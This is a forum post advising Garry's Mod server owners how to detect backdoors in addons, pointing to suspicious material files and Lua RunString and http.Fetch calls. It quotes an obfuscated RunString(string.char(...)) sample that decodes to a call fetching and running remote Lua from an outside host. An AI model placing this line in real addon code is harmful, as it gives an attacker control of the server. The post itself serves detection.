Thread: How To Not Get Backdoored! Hello, I am going to be discussing the topic of how not to get backdoored. If you are a person who looks at addons that seem legit, think twice. Now, we all know that backdoors have been an issue. Most of you guys don't know how to check for backdoors, but today I'll be helping you all with it. Lets discuss the main things to check for.
VMT/VTF/TTF - The most common one is help.vtf, which is sometimes placed through kvac or manually. Remember, any materials that don't fit into the addon, I recommend removing, but make sure you don't remove the actual materials that are part of the addon. Vtfs contain runstrings and many other things just in one file instead of being intergreated into the addon.
RunString, Http, Etc. - These are well-known backdoors that are hidden in the addon's Lua code. Some people forget that these also provide unwanted access to your server. You may wonder how it happens; well, there is a thing called Kvacdoor, and they use their own link, for example, Http.fetch("kvacdoorsomethingsomething.com"). Now, RunStrings do the same thing, so make sure you watch out for those too. This is what a runstring mostly looks like RunString(string.char(104, 116, 116, 112, 46, 70, 101, 116, 99, 104, 40, 34, 104, 116, 116, 112, 58, 47, 47, 98, 117, 114, 105, 101, 100, 115, 101, 108, 102, 101, 115, 116, 101, 101, 109, 46, 99, 111, 109, 47, 114, 101, 107, 116, 47, 114, 101, 107, 116, 46, 108, 117, 97, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 99, 41, 32, 82, 117, 110, 83, 116, 114, 105, 110, 103, 40, 99, 41, 32, 101, 110, 100, 32, 41))
Other runstrings and other things similar to It will have something like X86 and possibly some encrypted code which is considered with the X86 number
Backdoor Checkers I'll post some pretty good backdoor checkers down below!